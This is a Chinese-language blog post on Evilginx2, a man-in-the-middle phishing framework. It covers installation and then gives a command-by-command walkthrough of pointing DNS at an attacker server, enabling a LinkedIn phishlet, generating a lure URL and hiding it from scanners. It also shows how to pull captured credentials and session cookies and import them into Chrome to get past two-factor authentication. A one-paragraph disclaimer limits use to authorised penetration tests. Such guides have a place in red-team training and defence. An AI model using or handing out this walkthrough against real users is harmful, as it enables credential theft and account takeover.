Evilginx2:一款高级网络钓鱼攻击框架
- 发表于
- 安全工具
Evilginx2介绍
evilginx2是一个中间人攻击框架,用于网络钓鱼登录凭据以及会话cookie,从而允许绕过双因素身份验证保护。
该工具是2017年发布的Evilginx的升级产品,它使用自定义版本的nginx HTTP服务器提供中间人功能,作为浏览器和网络钓鱼网站之间的代理。当前版本完全用GO作为独立应用程序编写,它实现了自己的HTTP和DNS服务器,使其易于设置和使用。
Evilginx2用途声明
我非常清楚Evilginx2可以用于恶意目的。这项工作仅仅证明了攻击者可以做些什么。防御者有责任考虑此类攻击并找到保护其用户免受此类网络钓鱼攻击的方法。Evilginx只能在合法渗透测试任务中使用,并且必须得到被破坏方的书面许可。
Evilginx2安装与使用
可以使用预编译的二进制包,也可以从源代码编译evilginx2。需要一个外部服务器,在其中托管evilginx2安装。
从源代码安装
要从源代码编译,请确保已安装版本至少为1.10.0的GO(从此处获取)并且正确设置环境变量 $GOPATH
(def. $HOME/go
)
安装完毕后,将它添加到你的~/.profile
,假设你安装GO在/usr/local/go
:
1 2 |
export GOPATH=$HOME/go export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin |
然后加载它source ~/.profiles
。
现在你应该准备安装evilginx2了:
1 2 3 4 |
sudo apt-get install git make go get -u github.com/kgretzky/evilginx2 cd $GOPATH/src/github.com/kgretzky/evilginx2 make |
您现在可以从本地目录运行evilginx2,如:
1 |
sudo ./bin/evilginx -p ./phishlets/ |
或全局安装:
1 2 |
sudo make install sudo evilginx |
上面的说明也可用于将evilginx2更新到最新版本。
使用Docker安装
您可以从Docker中启动evilginx2。首先构建容器:
1 |
docker build . -t evilginx2 |
然后你可以运行容器:
1 |
docker run -it -p 53:53/udp -p 80:80 -p 443:443 evilginx2 |
Phishlets装在容器内/app/phishlets
,可以作为配置安装。
从预编译的二进制包安装
从这里抓住你想要的包
如果要进行系统范围的安装,请使用具有root权限的安装脚本:
1 2 3 |
chmod 700 ./install.sh sudo ./install.sh sudo evilginx |
或者只是从当前目录启动evilginx2(您还需要root权限):
1 2 |
chmod 700 ./evilginx sudo ./evilginx |
用法
重要!确保端口上没有服务侦听TCP 443
,TCP 80
并且UDP 53
。您可能需要关闭apache或nginx以及用于解析可能正在运行的DNS的任何服务。如果无法在任何这些端口上打开侦听,evilginx2将在启动时告诉您。
默认情况下,evilginx2将在./phishlets/
目录中以及稍后的目录中查找网络钓鱼/usr/share/evilginx/phishlets/
。如果要指定从中加载网络钓鱼的自定义路径,请-p <phishlets_dir_path>
在启动工具时使用该参数。
1 2 3 4 5 6 7 |
Usage of ./evilginx: -debug Enable debug output -developer Enable developer mode (generates self-signed certificates for all hostnames) -p string Phishlets directory path |
您应该看到evilginx2徽标,并提示输入命令。键入help
或help <command>
是否要查看可用命令或有关它们的更多详细信息。
入门
要启动并运行,您需要先进行一些设置。
此时我假设您已经注册了一个域名(让我们称之为yourdomain.com
),您在域名提供商的管理面板中设置名称服务器(两者ns1
和ns2
)以指向服务器的IP(例如10.0.0.1):
1 2 |
ns1.yourdomain.com = 10.0.0.1 ns2.yourdomain.com = 10.0.0.1 |
使用以下命令设置服务器的域和IP:
1 2 |
config domain yourdomain.com config ip 10.0.0.1 |
现在您可以设置要使用的网络钓鱼。为了这个简短的指南,我们将使用LinkedIn网络钓鱼。设置网络钓鱼的主机名(显然必须包含您的域名):
1 |
phishlets hostname linkedin my.phishing.hostname.yourdomain.com |
现在你可以enable
使用phishlet,它会启动LetsEncrypt SSL / TLS证书的自动检索,如果你在本地找不到你选择的主机名:
1 |
phishlets enable linkedin |
您的网上诱骗网站现已上线。想想URL,您希望受害者在成功登录时被重定向到并获得这样的网络钓鱼URL(受害者将被重定向到https://www.google.com
):
1 |
phishlets get-url linkedin https://www.google.com |
运行phishlets只响应标记化链接,所以谁扫描您的主域的任何扫描仪将被重定向到URL指定为redirect_url
下config
。如果要隐藏您的网络钓鱼并使其甚至不响应有效的标记化网络钓鱼URL,请使用phishlet hide/unhide <phishlet>
命令。
您可以使用以下方式监控捕获的凭据和会话cookie
1 |
sessions |
要获取有关捕获的会话的详细信息,请使用会话cookie本身(将在底部以JSON格式打印),选择其会话ID:
1 |
sessions <id> |
可以使用EditThisCookie扩展将已捕获的会话Cookie复制并导入Chrome浏览器。
重要!如果您希望evilginx2在从服务器注销后继续运行,则应在screen
会话中运行它。
Evilginx2使用视频
原文连接
的情况下转载,若非则不得使用我方内容。